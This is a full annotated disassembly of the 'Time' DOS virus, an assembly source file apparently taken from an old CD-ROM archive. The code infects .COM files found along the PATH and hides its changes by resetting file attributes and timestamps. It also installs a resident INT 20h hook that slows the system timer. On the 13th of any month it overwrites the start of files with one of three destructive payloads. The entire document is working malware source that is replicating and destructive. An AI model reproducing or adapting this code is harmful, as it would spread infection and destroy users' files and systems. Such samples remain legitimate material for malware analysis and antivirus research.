home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TIME.ASM < prev    next >
Assembly Source File  |  1991-06-21  |  27KB  |  785 lines

  1. ; Start disassembly
  2. DATA_1E         EQU 64H   ; (761D:0064=0)
  3. DATA_2E  EQU 66H   ; (761D:0066=0)
  4. DATA_3E  EQU 68H   ; (761D:0068=0)
  5. DATA_10E EQU 4F43H   ; (761D:4F43=0)
  6. DATA_11E EQU 504DH   ; (761D:504D=0)
  7.   
  8. SEG_A  SEGMENT
  9.   ASSUME CS:SEG_A, DS:SEG_A
  10.   
  11.   
  12.   ORG 100h
  13.   
  14. Time  PROC FAR
  15.   
  16. start:
  17.   JMP Virus_Entry_Point ;
  18.  
  19. ;██████████████████████████████████████████████████████████████████████████
  20. ;██                                                                      ██
  21. ;██ Original Program without 1st three bytes...                          ██
  22. ;██                                                                      ██
  23. ;██████████████████████████████████████████████████████████████████████████
  24.  
  25. DATA_5  DB 9987 DUP (90H)
  26.   MOV AH,4CH   ;
  27.   MOV AL,DATA_2  ; Terminate to DOS with 
  28.   INT 21H   ; exitcode AL
  29.   DB 0
  30. DATA_2  DB 0
  31.   DB 0
  32.  
  33. ;██████████████████████████████████████████████████████████████████████████
  34. ;██                                                                      ██
  35. ;██ Virus Entry Point                                                    ██
  36. ;██                                                                      ██
  37. ;██████████████████████████████████████████████████████████████████████████
  38.  
  39. Virus_Entry_Point:
  40.   JMP SHORT Set_Virus_Data_Point  
  41.   NOP
  42.  
  43. ;██████████████████████████████████████████████████████████████████████████
  44. ;██                                                                      ██
  45. ;██ Set Virus Data Storage Point                                         ██
  46. ;██                                                                      ██
  47. ;██████████████████████████████████████████████████████████████████████████
  48.  
  49. Set_Virus_Data_Point:
  50.   PUSH CX   ; Store CX
  51.   MOV DX,2B2DH  ;
  52.   MOV SI,DX   ; SI points at start of
  53.       ; virus data
  54.  
  55. ;██████████████████████████████████████████████████████████████████████████
  56. ;██                                                                      ██
  57. ;██ Get DTA Address                                                      ██
  58. ;██                                                                      ██
  59. ;██████████████████████████████████████████████████████████████████████████
  60.  
  61.  
  62.   PUSH ES   ; Store ES
  63.   MOV AH,2FH   ; GET DTA address into
  64.   INT 21H   ; ES:BX
  65.   MOV [SI],BX   ; Store BX of DTA
  66.   MOV [SI+2],ES  ; Store ES of DTA
  67.   POP ES   ; Restore ES
  68.  
  69. ;██████████████████████████████████████████████████████████████████████████
  70. ;██                                                                      ██
  71. ;██ Set new DTA Address                                                  ██
  72. ;██                                                                      ██
  73. ;██████████████████████████████████████████████████████████████████████████
  74.  
  75.   MOV DX,4EH   ;
  76.   ADD DX,SI   ; 
  77.   MOV AH,1AH   ; 
  78.   INT 21H   ; Set new DTA to DS:DX
  79.  
  80.   PUSH SI   ; Store SI
  81.   CLD    ; Clear direction
  82.   MOV DI,SI   ; 
  83.   ADD SI,0AH   ;
  84.   ADD DI,81H   ;
  85.   MOV CX,3   ; Move 3 bytes from source 
  86.   REP MOVSB   ; to destination (E9h, 45h
  87.       ; 45h)
  88.   POP SI   ; Restore SI
  89.  
  90.   PUSH ES   ; Store ES
  91.   PUSH SI   ; Store SI
  92.   PUSH BX   ; Store BX
  93.   MOV BX,2CH   
  94.   MOV AX,[BX]   ; Get Extra Segment?
  95.   POP BX   ; Restore BX
  96.   MOV ES,AX
  97.   MOV DI,0
  98.  
  99. ;██████████████████████████████████████████████████████████████████████████
  100. ;██                                                                      ██
  101. ;██ Search for the PATH                                                  ██
  102. ;██                                                                      ██
  103. ;██████████████████████████████████████████████████████████████████████████
  104.  
  105. Search_For_Path:
  106.   POP SI   ; Restore SI
  107.   PUSH SI   ; Store SI
  108.   ADD SI,1AH   ;
  109.   LODSB    ; Load the 'M' into AL
  110.   MOV CX,8000H  ;
  111.   REPNE SCASB   ; 
  112.   MOV CX,4   ;
  113.  Path_Loop:
  114.   LODSB    ; 
  115.   SCASB    ; 
  116.   JNZ Search_For_Path  ; 
  117.   LOOP Path_Loop  ; Pitty, PATH not yet found.
  118.   
  119.   POP SI   ; Restore SI
  120.   POP ES   ; Restore ES
  121.   MOV [SI+16H],DI  ; Store address of PATH
  122.   MOV BX,SI   ; Temp. Storage of SI
  123.   ADD SI,26H   ;
  124.   MOV DI,SI   ; 
  125.   JMP SHORT Find_First_FileName
  126.   NOP
  127.  
  128. ;██████████████████████████████████████████████████████████████████████████
  129. ;██                                                                      ██
  130. ;██                                                                      ██
  131. ;██                                                                      ██
  132. ;██████████████████████████████████████████████████████████████████████████
  133.  
  134. Error:
  135.   CMP WORD PTR [SI+16H],0
  136.   JNE Set_Virus_Path  ; 
  137.   JMP Restore_Org_DTA  ; Error occured. Restore
  138.       ; original DTA,
  139.       ; 1st three bytes and
  140.       ; execute original
  141.       ; program.
  142.  
  143. ;██████████████████████████████████████████████████████████████████████████
  144. ;██                                                                      ██
  145. ;██ Start Searching for PATH                                             ██
  146. ;██                                                                      ██
  147. ;██████████████████████████████████████████████████████████████████████████
  148.  
  149. Set_Virus_Path:
  150.   PUSH DS   ; Store Registers
  151.   PUSH SI
  152.   PUSH AX
  153.   PUSH ES
  154.   PUSH ES
  155.   POP DS   ; DS=ES
  156.   PUSH BX
  157.   MOV BX,2CH
  158.   MOV AX,[BX]
  159.   POP BX   ; Restore BX
  160.   MOV [SI+1FH],AX  ; 
  161.   MOV DI,SI   ;
  162.   MOV AX,[DI+16H]  ; Org.address of PATH
  163.   MOV SI,AX   ;
  164.   MOV DS,[DI+1FH]  ;
  165.   POP ES   ;
  166.   POP AX   ;
  167.   ADD DI,26H   ; 
  168. Reached_EO_Path:
  169.   LODSB    ; Get byte into AL
  170.   CMP AL,3BH   ; Path Delimiter ';' reached? 
  171.   JE Delimiter_Reached ; Yes
  172.   CMP AL,0   ; End of Path reached?
  173.   JE EO_Path_Reached  ; Yes
  174.   STOSB    ; Store byte in AL
  175.   JMP SHORT Reached_EO_Path ; 
  176. EO_Path_Reached:
  177.   MOV SI,0   ;
  178. Delimiter_Reached:
  179.   POP BX   ;
  180.   POP DS   ;
  181.   MOV [BX+16H],SI  ; 
  182.   CMP BYTE PTR [DI-1],5CH ; Is the PATH closed by
  183.       ; a backslash? 
  184.   JE Find_First_FileName ; Yes
  185.   MOV AL,5CH   ; 
  186.   STOSB    ; Place Backslash
  187.  
  188. ;██████████████████████████████████████████████████████████████████████████
  189. ;██                                                                      ██
  190. ;██ Find First Filename                                                  ██
  191. ;██                                                                      ██
  192. ;██████████████████████████████████████████████████████████████████████████
  193.  
  194. Find_First_FileName:
  195.   MOV [BX+18H],DI  ; Store at which address
  196.       ; the path starts
  197.       ; BX=SI
  198.   MOV SI,BX   ; Restore SI
  199.   ADD SI,10H   ; 
  200.   MOV CX,6   ;
  201.   REP MOVSB   ; Set Search.Spec.
  202.   MOV SI,BX   ; Restore SI
  203.  
  204.   MOV AH,4EH   ; 
  205.   MOV DX,26H   ;
  206.   ADD DX,SI   ; Filename:= *.COM
  207.   MOV CX,3   ; Search Attributes:
  208.       ; Read Only/Hidden
  209.   INT 21H   ; Find 1st Filename to
  210.       ; match with DS:DX
  211.   JMP SHORT Error_Handler ; 
  212.   NOP
  213.  
  214. ;██████████████████████████████████████████████████████████████████████████
  215. ;██                                                                      ██
  216. ;██ Find Next Filename                                                   ██
  217. ;██                                                                      ██
  218. ;██████████████████████████████████████████████████████████████████████████
  219.  
  220. Find_Next_FileName:
  221.   MOV AH,4FH   ; 
  222.   INT 21H   ; Find next Filename to
  223.       ; match with DS:DX
  224.  
  225. ;██████████████████████████████████████████████████████████████████████████
  226. ;██                                                                      ██
  227. ;██ Error Handler                                                        ██
  228. ;██                                                                      ██
  229. ;██████████████████████████████████████████████████████████████████████████
  230.  
  231. Error_Handler:
  232.   JNC Check_Filelength ; Jump if carry=0, so
  233.       ; no errors
  234.   JMP SHORT Error  ; Carry Set, so error
  235.       ; occured
  236.  
  237. ;██████████████████████████████████████████████████████████████████████████
  238. ;██                                                                      ██
  239. ;██ Check Filelength and look if file is already infected.               ██
  240. ;██                                                                      ██
  241. ;██████████████████████████████████████████████████████████████████████████
  242.  
  243.  
  244. Check_Filelength:
  245.   MOV AX,DS:DATA_1E[SI] ; (761D:0064=0)
  246.   AND AL,1FH
  247.   CMP AL,7
  248.   JE Find_Next_FileName ; File already infected.
  249.   CMP WORD PTR DS:DATA_3E[SI],0FA00H
  250.       ; Is the length of the
  251.       ; file more as FA00h bytes?
  252.   JA Find_Next_FileName ; Yes.
  253.   CMP WORD PTR DS:DATA_3E[SI],0F00H 
  254.       ; Is the length of the
  255.       ; file less as 0F00h bytes?
  256.   JB Find_Next_FileName ; Yes
  257.   MOV DI,[SI+18H]  ; Get address of path of virus
  258.   PUSH SI   ; Store SI
  259.   ADD SI,6CH   
  260. Set_FileName:
  261.   LODSB    ; Set up Filename for 
  262.   STOSB    ; infection.
  263.   CMP AL,0   ; End Of Filename Reached?
  264.   JNE Set_FileName  ; No
  265.  
  266. ;██████████████████████████████████████████████████████████████████████████
  267. ;██                                                                      ██
  268. ;██ Set Temporary File attributes                                        ██
  269. ;██                                                                      ██
  270. ;██████████████████████████████████████████████████████████████████████████
  271.  
  272.   POP SI   ; Restore SI
  273.   MOV CX,[SI+63H]  ; 
  274.   MOV CH,0   ;
  275.   MOV [SI+8],CX  ; Get File-Attributes
  276.   MOV AX,CX   ;
  277.   MOV CX,0FFFEH  ; 
  278.   AND AX,CX   ; Remove Read-Only Attribute
  279.   MOV CX,AX   ;
  280.   MOV AX,4301H  ;
  281.   MOV DX,26H   ;
  282.   ADD DX,SI   ;
  283.   INT 21H   ; Set File-Attributes
  284.  
  285. ;██████████████████████████████████████████████████████████████████████████
  286. ;██                                                                      ██
  287. ;██ Open the File                                                        ██
  288. ;██                                                                      ██
  289. ;██████████████████████████████████████████████████████████████████████████
  290.  
  291.   MOV AX,3D02H  ; Open the file for both
  292.   INT 21H   ; reading and writing
  293.   JNC Give_Infection_Marker ; If no error occured...
  294.   JMP Set_FileAttributes_Back ; Error occured
  295.  
  296. Give_Infection_Marker:
  297.   MOV BX,AX
  298.   MOV CX,DS:DATA_2E[SI] ; (761D:0066=0)
  299.   MOV [SI+6],CX
  300.   MOV CX,DS:DATA_1E[SI] ; (761D:0064=0)
  301.   AND CL,0E0H
  302.   OR CL,7
  303.   MOV [SI+4],CX
  304.   JMP SHORT Get_Current_Time ; (2967)
  305.   NOP
  306.  
  307. ;██████████████████████████████████████████████████████████████████████████
  308. ;██                                                                      ██
  309. ;██ This Part will be installed resident after hooking INT 20h           ██
  310. ;██                                                                      ██
  311. ;██████████████████████████████████████████████████████████████████████████
  312.  
  313.   PUSHF    ; Push flags
  314.   PUSH DS
  315.   PUSH ES
  316.   PUSH SS
  317.   PUSH AX
  318.   PUSH BX
  319.   PUSH DX
  320.   PUSH DI
  321.   PUSH SI
  322.   PUSH BP
  323.   MOV DX,43H
  324.   MOV AL,74H   ; This will change the refesh
  325.   OUT DX,AL   ; rate, thus slowing down the
  326.   MOV DX,41H   ; PC. Every normal program-
  327.   MOV AL,8   ; termination by calling
  328.   OUT DX,AL   ; INT 20h will call this 
  329.   MOV AL,7   ; rourtine
  330.   OUT DX,AL   ; 
  331.   POP BP
  332.   POP SI
  333.   POP DI
  334.   POP DX
  335.   POP BX
  336.   POP AX
  337.   POP SS
  338.   POP ES
  339.   POP DS
  340.   POPF    ; Pop flags
  341.   JMP CS:DATA_5   ; (761D:0253=9090H)
  342.       ; JMP to org. INT 20h address
  343.   ADD [BX+SI],AL
  344.   ADD [BX+SI],AL
  345.  
  346. ;██████████████████████████████████████████████████████████████████████████
  347. ;██                                                                      ██
  348. ;██ Get Current Time                                                     ██
  349. ;██                                                                      ██
  350. ;██████████████████████████████████████████████████████████████████████████
  351.  
  352. Get_Current_Time:
  353.   PUSH AX   ; Store all registers
  354.   PUSH BX
  355.   PUSH CX
  356.   PUSH DX
  357.   PUSH DS
  358.   PUSH ES
  359.   PUSH SI
  360.   PUSH DI
  361.   PUSH BP
  362.   MOV AH,2CH   ; Get current time into CX:DX
  363.   INT 21H   ; CX=hrs/min, DX=sec/hund.sec
  364.   CMP DL,32H   ; Are we above 32/100 seconds?
  365.   JA Get_INT_F2_Vector ; Yes
  366.   JMP Start_Trigger_Check ; No
  367.  
  368. ;██████████████████████████████████████████████████████████████████████████
  369. ;██                                                                      ██
  370. ;██ Get Interrupt Vector of INT F2h                                      ██
  371. ;██                                                                      ██
  372. ;██████████████████████████████████████████████████████████████████████████
  373.  
  374. Get_INT_F2_Vector:
  375.   MOV AH,35H   ; Get the interrupt vector of
  376.   MOV AL,0F2H   ; INT 0F2h into ES:BX
  377.   INT 21H   ; 
  378.  
  379.   CMP BX,7777H  ; Was INT F2 already hooked?
  380.       
  381.   JNE Allocate_Memory  ; No
  382.   JMP INT_F2_Already_Hooked ; 
  383. Allocate_Memory:
  384.   MOV AX,DS   ;
  385.   DEC AX   ;
  386.   MOV ES,AX   ;
  387.   MOV BX,0   ;
  388.   CMP BYTE PTR ES:[BX],5AH ; 
  389.   JE Memory_Already_Allocated  
  390.   PUSH BX   ;
  391.   MOV AH,48H   ; Allocate 4096 16-byte-para-
  392.   MOV BX,0FFFFH  ; graphs in memory. ???
  393.   INT 21H   ; 
  394.   CMP BX,5   ; Is the largest available
  395.       ; 5 or higher?
  396.   JAE Again_Allocate_Memory ; Yes
  397.   JMP Start_Trigger_Check   ; No
  398. Again_Allocate_Memory:
  399.   MOV AH,48H   ; Again allocate memory
  400.   INT 21H   ; 
  401.   POP BX   ;
  402.   JNC Segment_Decrease ; If there was no error when
  403.       ; allocating memory the last
  404.       ; time
  405.   JMP Start_Trigger_Check ; If there was an error
  406. Segment_Decrease:
  407.   DEC AX   ; Decrease Segment of Allcated
  408.       ; memory
  409.   MOV ES,AX   ;
  410.   MOV BX,1   ;
  411.   MOV WORD PTR ES:[BX],0 ;
  412.   MOV BX,0   ;
  413.   CMP BYTE PTR ES:[BX],5AH ;
  414.   JE Memory_Allocated ;
  415.   JMP SHORT Start_Trigger_Check  
  416.   NOP    ;
  417. Memory_Allocated:
  418.   MOV BX,3   ;
  419.   ADD AX,ES:[BX]  ;
  420.   INC AX   ;
  421.   MOV BX,12H   ;
  422.   MOV ES:[BX],AX  ;
  423. Memory_Already_Allocated: 
  424.   MOV BX,3   ;
  425.   MOV AX,ES:[BX]  ;
  426.   SUB AX,5   ;
  427.   JC Start_Trigger_Check ; Jump if carry Set
  428.   MOV ES:[BX],AX  ;
  429.   MOV BX,12H   ;
  430.   SUB WORD PTR ES:[BX],5 ;
  431.   MOV ES,ES:[BX]  ;
  432.   PUSH SI   ; Store SI
  433.   SUB SI,1F2H   ; SI points to the part
  434.   MOV DI,0   ; which must become
  435.   MOV CX,46H   ; resident.
  436.   REP MOVSB   ; Move the 46h bytes from
  437.       ; [SI] to ES:[DI]
  438.   POP SI   ; Restore SI
  439.   MOV BP,ES   ;
  440.   PUSH CS   ;
  441.   POP ES   ; Restore ES
  442.  
  443.   MOV AH,25H   ; Hook interrupt F2h
  444.   MOV AL,0F2H   ; New INT-vector will
  445.   MOV DX,7777H  ; be DS:7777h
  446.   INT 21H   ; 
  447.   JMP SHORT Hook_INT_20h ; (2A10)
  448.   NOP
  449.  
  450. INT_F2_Already_Hooked:
  451.   JMP SHORT Start_Trigger_Check  
  452.   NOP
  453. Hook_INT_20h:
  454.   MOV AL,20H   ; 
  455.   MOV AH,35H   ; Get the INT 20h Vector
  456.   INT 21H   ; into ES:BX
  457.  
  458.   MOV DX,ES   ;
  459.   MOV ES,BP   ;
  460.   PUSH SI   ;
  461.   MOV AX,SI   ;
  462.   SUB AX,1CAH   ;
  463.   MOV DI,SI   ;
  464.   SUB DI,1F2H   ;
  465.   SUB AX,DI   ;
  466.   MOV SI,AX   ;
  467.   MOV ES:[SI],BX  ;
  468.   ADD SI,2   ;
  469.   MOV ES:[SI],DX  ;
  470.   SUB SI,4   ;
  471.   MOV ES:[SI],AX  ;
  472.   POP SI   ;
  473.   PUSH CS   ;
  474.   POP ES   ;
  475.  
  476.   MOV AH,25H   ; Install new INT 20h
  477.   MOV DS,BP   ; vector to DS:DX
  478.   MOV DX,0   ; (=DS:00)
  479.   MOV AL,20H   ; 
  480.   INT 21H   ; 
  481.  
  482. ;██████████████████████████████████████████████████████████████████████████
  483. ;██                                                                      ██
  484. ;██ Start Trigger Check                                                  ██
  485. ;██                                                                      ██
  486. ;██████████████████████████████████████████████████████████████████████████
  487.  
  488. Start_Trigger_Check:
  489.   POP BP   ; Restore Registers
  490.   POP DI
  491.   POP SI
  492.   POP ES
  493.   POP DS
  494.   POP DX
  495.   POP CX
  496.   POP BX
  497.   POP AX
  498.   MOV AH,2AH   ; Get the current date 
  499.   INT 21H   ; CX=year, DX=mon/day
  500.   CMP DL,0DH   ; Is it the 13th of the month?
  501.   JNE Start_Infecting_File ; No
  502.  
  503. ;██████████████████████████████████████████████████████████████████████████
  504. ;██                                                                      ██
  505. ;██  It is the 13th of the Month... Select 1 out of 3 destructions       ██ 
  506. ;██                                                                      ██
  507. ;██████████████████████████████████████████████████████████████████████████
  508.  
  509.   MOV AH,2CH   ; Get current time
  510.   INT 21H   ; CX=hrs/min, DX=sec/hund.sec
  511.   CMP DL,3CH   ; Are we above 60/100 seconds?
  512.   JA Destruction_2  ; Yes
  513.   CMP DL,1EH   ; Are we above 30/100 seconds?
  514.   JA Destruction_3  ; Yes
  515.  
  516. ;██████████████████████████████████████████████████████████████████████████
  517. ;██                                                                      ██
  518. ;██ Destruction Scheme 1: Place the following code at the begining of a  ██
  519. ;██ file: MOV AH,00                                                      ██
  520. ;██       INT 20h                                                        ██
  521. ;██       NOP                                                            ██
  522. ;██                                                                      ██
  523. ;██ When a file is executed with this code at the begining, the program  ██
  524. ;██ will terminate at once with returning to DOS.                        ██
  525. ;██                                                                      ██
  526. ;██████████████████████████████████████████████████████████████████████████
  527.  
  528.   MOV DX,SI
  529.   ADD DX,21H
  530.   JMP SHORT Write_5_Destruction_Bytes  
  531.   NOP
  532.  
  533. ;██████████████████████████████████████████████████████████████████████████
  534. ;██                                                                      ██
  535. ;██ Destruction Scheme 2: Place the following code at the begining of a  ██
  536. ;██ file: HLT                                                            ██
  537. ;██       HLT                                                            ██
  538. ;██       HLT                                                            ██
  539. ;██       HLT                                                            ██
  540. ;██       DB  CDh (which is the opcode for INT)                          ██
  541. ;██                                                                      ██
  542. ;██ When a file is executed with this code at the begining, the program  ██
  543. ;██ will execute the 4 HLT's and then perform an INT-Call depending on   ██
  544. ;██ the byte following CDh. This can be any INT-Call. So this scheme     ██
  545. ;██ can be consisered the dangeroust of all three destruction schemes.   ██
  546. ;██ will terminate at once with returning to DOS. The first five bytes   ██
  547. ;██ of a file will be overwritten always, making the file useless, but   ██
  548. ;██ issuing and 'random' INT-Call can do much more harm.                 ██
  549. ;██                                                                      ██
  550. ;██████████████████████████████████████████████████████████████████████████
  551.  
  552. Destruction_2:
  553.   MOV DX,SI
  554.   ADD DX,79H
  555.   JMP SHORT Write_5_Destruction_Bytes  
  556.   NOP
  557.  
  558. ;██████████████████████████████████████████████████████████████████████████
  559. ;██                                                                      ██
  560. ;██ Destruction Scheme 3: Place the following code at the begining of a  ██
  561. ;██ file: INT 19h                                                        ██
  562. ;██       INT 19h                                                        ██
  563. ;██       DB  ?    (Can be anything. It is the 1st byte of the org.file) ██
  564. ;██                                                                      ██
  565. ;██ When a file is executed with this code at the begining, the program  ██
  566. ;██ will cause a reboot without a memory test and preserving the         ██
  567. ;██ interrupt vectors. If any interrupt vector from 00h through 1Ch has  ██
  568. ;██ been set, the system most likely will hang itself, because of this   ██
  569. ;██ preserving.                                                          ██
  570. ;██                                                                      ██
  571. ;██████████████████████████████████████████████████████████████████████████
  572.  
  573. Destruction_3:
  574.   MOV DX,SI
  575.   ADD DX,7DH
  576.   JMP SHORT Write_5_Destruction_Bytes  
  577.   NOP
  578.  
  579. ;██████████████████████████████████████████████████████████████████████████
  580. ;██                                                                      ██
  581. ;██ Write the 5 bytes with the destruction to the begining of the file   ██
  582. ;██                                                                      ██
  583. ;██████████████████████████████████████████████████████████████████████████
  584.  
  585. Write_5_Destruction_Bytes:
  586.   MOV AH,40H   ; 
  587.   MOV CX,5   ;
  588.   INT 21H   ; Write 5 bytes to the file
  589.   JMP SHORT Set_FileDate_Time_Back 
  590.   NOP
  591.  
  592. ;██████████████████████████████████████████████████████████████████████████
  593. ;██                                                                      ██
  594. ;██ It is not the 13th of the month... Infect the file                   ██
  595. ;██                                                                      ██
  596. ;██████████████████████████████████████████████████████████████████████████
  597.  
  598. Start_Infecting_File:
  599.   MOV AH,3FH   ; 
  600.   MOV CX,3   ; Number of bytes to read
  601.   MOV DX,0AH   ;
  602.   ADD DX,SI   ;
  603.   INT 21H   ; Read the bytes from the file
  604.       ; and put them at DS:DX
  605.   JC Set_FileDate_Time_Back ; If Error Occurred
  606.   CMP AL,3   ; 3 Bytes read?
  607.   JNE Set_FileDate_Time_Back ; No
  608.  
  609.  
  610.   MOV AX,4202H  ; Set the Read/Write 
  611.   MOV CX,0   ; pointer to the EOF at 
  612.   MOV DX,0   ; offset CX:DX (=00:00)
  613.   INT 21H   ; 
  614.  
  615.   MOV CX,AX   ; CX=Length of File
  616.   SUB AX,3   ;
  617.   MOV [SI+0EH],AX  ; Store Length -3 bytes
  618.   ADD CX,41DH   ; CX=CX+41Dh
  619.   MOV DI,SI
  620.   SUB DI,318H
  621.   MOV [DI],CX   ; Set new Virus Data Area
  622.       ; Address into code
  623.   MOV AH,40H   ; 
  624.   MOV CX,3ABH   ; CX=3ABh The length of the
  625.       ; viral-code written to disk.
  626.   MOV DX,SI
  627.   SUB DX,31DH   ; DX points at the start of
  628.       ; the virus code
  629.   INT 21H   ; Write the viral-code to the
  630.       ; file
  631.  
  632.   JC Set_FileDate_Time_Back ; If an error occured
  633.   CMP AX,3ABH   ; 3ABh bytes written?
  634.   JNE Set_FileDate_Time_Back ; No
  635.   MOV AX,4200H  ; Move Read/Write Pointer to
  636.   MOV CX,0   ; the beginning of the file
  637.   MOV DX,0   ; at offset CX:DX(=00:00)
  638.   INT 21H   ; 
  639.  
  640.   MOV AH,40H   ; Write the 1st three new 
  641.   MOV CX,3   ; bytes to the file. These
  642.   MOV DX,SI   ; bytes contain the JMP
  643.   ADD DX,0DH   ; instruction to the virus.
  644.   INT 21H   ; 
  645.  
  646. ;██████████████████████████████████████████████████████████████████████████
  647. ;██                                                                      ██
  648. ;██ Set File-Time/Date back                                              ██
  649. ;██                                                                      ██
  650. ;██████████████████████████████████████████████████████████████████████████
  651.  
  652. Set_FileDate_Time_Back:
  653.   MOV DX,[SI+6]  ; Get File-Date
  654.   MOV CX,[SI+4]  ; Get File-Time
  655.   MOV AX,5701H  ; Set back the File-Time and
  656.   INT 21H   ; Date stamps
  657.  
  658. ;██████████████████████████████████████████████████████████████████████████
  659. ;██                                                                      ██
  660. ;██ Close the File                                                       ██
  661. ;██                                                                      ██
  662. ;██████████████████████████████████████████████████████████████████████████
  663.  
  664.   MOV AH,3EH   ; 
  665.   INT 21H   ; Close the File
  666.  
  667. ;██████████████████████████████████████████████████████████████████████████
  668. ;██                                                                      ██
  669. ;██ Set File Attribute back                                              ██
  670. ;██                                                                      ██
  671. ;██████████████████████████████████████████████████████████████████████████
  672.  
  673.  
  674. Set_FileAttributes_Back:
  675.   MOV AX,4301H  ;
  676.   MOV CX,[SI+8]  ; Get File Attribute
  677.   MOV DX,26H   ;
  678.   ADD DX,SI   ; 
  679.   INT 21H   ; Set File Attribute
  680.  
  681. ;██████████████████████████████████████████████████████████████████████████
  682. ;██                                                                      ██
  683. ;██ Restore Org DTA address                                              ██
  684. ;██                                                                      ██
  685. ;██████████████████████████████████████████████████████████████████████████
  686.  
  687. Restore_Org_DTA:
  688.   PUSH DS
  689.   MOV AH,1AH
  690.   MOV DX,[SI]   ; Get Original DTA
  691.   MOV DS,[SI+2]  ; address
  692.   INT 21H   ; St DTA to ds:dx
  693.  
  694. ;██████████████████████████████████████████████████████████████████████████
  695. ;██                                                                      ██
  696. ;██ Put 3 Original 1st three bytes in place and execute original program ██
  697. ;██                                                                      ██
  698. ;██████████████████████████████████████████████████████████████████████████
  699.  
  700.   POP DS   ; Restore DS
  701.   PUSH SI   ; Store SI
  702.   CLD    ; 
  703.   ADD SI,81H   ; Address where the 1st three
  704.       ; bytes can be found.
  705.   MOV DI,100H   ; Destination Address
  706.   MOV CX,3   ; Number of bytes to move
  707.   REP MOVSB   ; Move the bytes
  708.   POP SI   ; Restore SI
  709.   POP CX   ; Restore CX
  710.   XOR AX,AX   ; Zero register
  711.   XOR BX,BX   ; Zero register
  712.   XOR DX,DX   ; Zero register
  713.   XOR SI,SI   ; Zero register
  714.   MOV DI,100H   
  715.   PUSH DI   ; Store DI
  716.   XOR DI,DI   ; Zero register
  717.   RET 0FFFFH   ; Terminate Virus-Code and
  718.       ; execute original program.
  719.  
  720. ;██████████████████████████████████████████████████████████████████████████
  721. ;██                                                                      ██
  722. ;██ Virus Data Area                                                      ██
  723. ;██                                                                      ██
  724. ;██████████████████████████████████████████████████████████████████████████
  725.  
  726.  
  727. ORG_DTA_ADD: DW ?   ; Storing place for BX of 
  728.       ; original DTA
  729.   DW ?   ; Storing place for ES of
  730.       ; original DTA
  731. File_Time: DW ?   ; Storing place for the
  732.       ; filetime of the file
  733. Date:  DW ?   ; Storing place for the
  734.       ; filedate 
  735. Attrib:  DW ?   ; Storing place for the
  736.       ; file attributes.
  737.  
  738. Three_Bytes: DB 0E9h, 27h, 03h
  739.  
  740. First_New_Byte: DB 0E9h   ; First new byte of the 
  741.       ; the infected file. This is
  742.       ; the jump instruction.
  743. Length_Min_3: DB 0Dh, 27h  ; Also new address to jump
  744.       ; to for the virus on exe-
  745.       ; cution, 2nd and 3rd new byte
  746.  
  747. Search_Spec: DB '*.COM',00h
  748.   
  749. Path_Add_Org: DW 00,05
  750.  
  751. Path_Add_Vir: DW '6M'
  752.  
  753.   DB 'PATH=', 00, 00
  754.  
  755. Destruc_Code_1: DB 0B4h, 0h, 0CDh, 20h, 90h
  756.  
  757. File_Path: DB 'VIRCOM.COM'  ; Filename including PATH
  758.   DB 30 DUP(0)
  759.  
  760. New_DTA: 
  761.     DB 02
  762.   DB '????????COM'
  763.   DB 03, 11H
  764.   DB 7 DUP (0)
  765.   DB 20H, 80H, 12H, 17H, 15H, 10H
  766.   DB 27H, 0, 0
  767.  
  768. FileName: DB 'VIRCOM.COM', 00h, 00h, 00h
  769.  
  770. Destruc_Code_2: DB 0F4H, 0F4H, 0F4H, 0F4H
  771.  
  772. Destruc_Code_3: DB 0CDH, 19H, 0CDH, 19H, 0E9H
  773.  
  774. First_3_Bytes: DB 0E9h, 45h, 45h
  775.  
  776. Notice:  DB '(C) Monxla'
  777.   
  778. Time  ENDP
  779.   
  780. SEG_A  ENDS
  781.   
  782.  
  783.  
  784.   END START
  785.